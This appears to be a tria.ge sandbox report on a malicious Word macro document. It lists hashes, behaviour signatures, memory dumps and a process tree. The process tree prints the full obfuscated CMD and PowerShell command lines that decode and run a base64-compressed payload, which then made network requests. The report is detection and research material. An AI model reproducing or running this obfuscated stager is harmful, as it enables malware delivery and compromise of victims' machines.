Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    120s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    15/05/2024, 06:32

General

  • Target

    44e75a0c946ba9d90173c046ece14504_JaffaCakes118.doc

  • Size

    77KB

  • MD5

    44e75a0c946ba9d90173c046ece14504

  • SHA1

    389937481548509bcce884fa101d562d22cf8b65

  • SHA256

    8481620269d137b8bd05d6808d7f84072fff396f4acb2f445b2685d4ea1c20cd

  • SHA512

    2516b1be9e9f04af1b0de9765f365de0f5cb9c57c070c047d9793ff4d77911664a0e82413538f5eaf1b214a420b979817aa3931b952c67c30eab8bc6f0f91990

  • SSDEEP

    768:X6zyVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9ooOzZawo8v4:Kzyocn1kp59gxBK85fBt+a9gj

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\44e75a0c946ba9d90173c046ece14504_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2892
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2944
      • C:\Windows\SysWOW64\CMD.exe
        CMD c:\wiNdoWS\SySTem32\CMd /c"SEt vmN=.( $sHELLId[1]+$sHeLlid[13]+'x')( New-oBJEct io.coMpREsSioN.dEFLatEstREAM([iO.MEmorysTREAm] [COnVERt]::FrOMbaSe64sTrINg( 'NZDdasJAEIVfJRcLq1g3VEsoLgGLVlFaBaX2h95kk0l2NdlNk4lrG3z3JrbO5fnOHOYMqaLC12D7RuwhRGcFyF5BTFIFGjmZTn98KhHzkesmohSFsSULTeYuP56+ltHd+J9Za1kZlFhFyjTcnSfz3TBb79LV1XHS/WYARSJsJEUVD4PM06yV89tAuev3zeNkL5cv1wU4Qqo0Kyo3Th42uPKSK8kLVYaBLRTC3zG49Z4HcSwnlG3zVGGHjmmXk7do5vgOvfcGlJNoM/MJ6OMIIct79JP2Wt6jDE5AeWwKCELZIVhKR2mnLd6tsfiuSfMgNjVWpyaIZiqFi+fGaQO7fKGP5gD9RRN6Ubhocg78HAYYyvp8/gU=' ) , [sYstem.io.COMPressIoN.ComPrESSIonMOdE]::DeCOMPress ) ^| % {New-oBJEct syStem.io.STreAmrEadEr( $_, [SYsTEM.tExT.EnCOdiNg]::aScII)}^| %{ $_.reAdTOeND()}) && pOwERsHEll . (\"{1}{0}{2}\" -f 'I','SET-','tem') ( \"{0}{3}{1}{2}\"-f'vARI','lE',':0SkX','ab' ) ( [tYPE]( \"{0}{1}{2}\"-f 'E','N','VirOnment' ) ) ; ( ^& (\"{1}{0}{2}\" -f'ARIA','V','blE' ) ( \"{1}{0}\" -f 'X*xT','E')).\"Val`UE\".\"INvo`kECOmM`AND\".(\"{1}{2}{3}{0}\" -f'PT','in','Vok','ESCri' ).Invoke( ( ( .('Gi' ) ( \"{0}{1}{2}\" -f 'VArIA','bLE:0S','kx')).\"Val`Ue\"::( \"{4}{1}{0}{2}{5}{3}\"-f 'E','t','nvIro','eNtVARIAbLE','ge','nM').Invoke( 'VmN',(\"{1}{0}{2}\" -f 'RoCE','P','ss' ) ) ) )"
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2516
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          pOwERsHEll . (\"{1}{0}{2}\" -f 'I','SET-','tem') ( \"{0}{3}{1}{2}\"-f'vARI','lE',':0SkX','ab' ) ( [tYPE]( \"{0}{1}{2}\"-f 'E','N','VirOnment' ) ) ; ( & (\"{1}{0}{2}\" -f'ARIA','V','blE' ) ( \"{1}{0}\" -f 'X*xT','E')).\"Val`UE\".\"INvo`kECOmM`AND\".(\"{1}{2}{3}{0}\" -f'PT','in','Vok','ESCri' ).Invoke( ( ( .('Gi' ) ( \"{0}{1}{2}\" -f 'VArIA','bLE:0S','kx')).\"Val`Ue\"::( \"{4}{1}{0}{2}{5}{3}\"-f 'E','t','nvIro','eNtVARIAbLE','ge','nM').Invoke( 'VmN',(\"{1}{0}{2}\" -f 'RoCE','P','ss' ) ) ) )
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2652

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      0d75854886130afe6b5ddd371e642774

      SHA1

      98a67246fe9540a236ae548ace16ea3bbbf3fb16

      SHA256

      2cb7e5cba080b8dfbf5b2926176d1f99af8304f109f6544a7833a033157d9ba8

      SHA512

      ee89559e9e91410ed58c19bd79a0381a28aace69fcac6b30f4d08092c3df9949d92cc07daab1234bc22db10cb1e60993de7f324e815b9ebfd4390c080f7559b6

    • memory/2892-0-0x000000002F9F1000-0x000000002F9F2000-memory.dmp

      Filesize

      4KB

    • memory/2892-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2892-2-0x0000000070F2D000-0x0000000070F38000-memory.dmp

      Filesize

      44KB

    • memory/2892-6-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2892-8-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2892-7-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2892-16-0x0000000070F2D000-0x0000000070F38000-memory.dmp

      Filesize

      44KB

    • memory/2892-17-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/2892-33-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2892-34-0x0000000070F2D000-0x0000000070F38000-memory.dmp

      Filesize

      44KB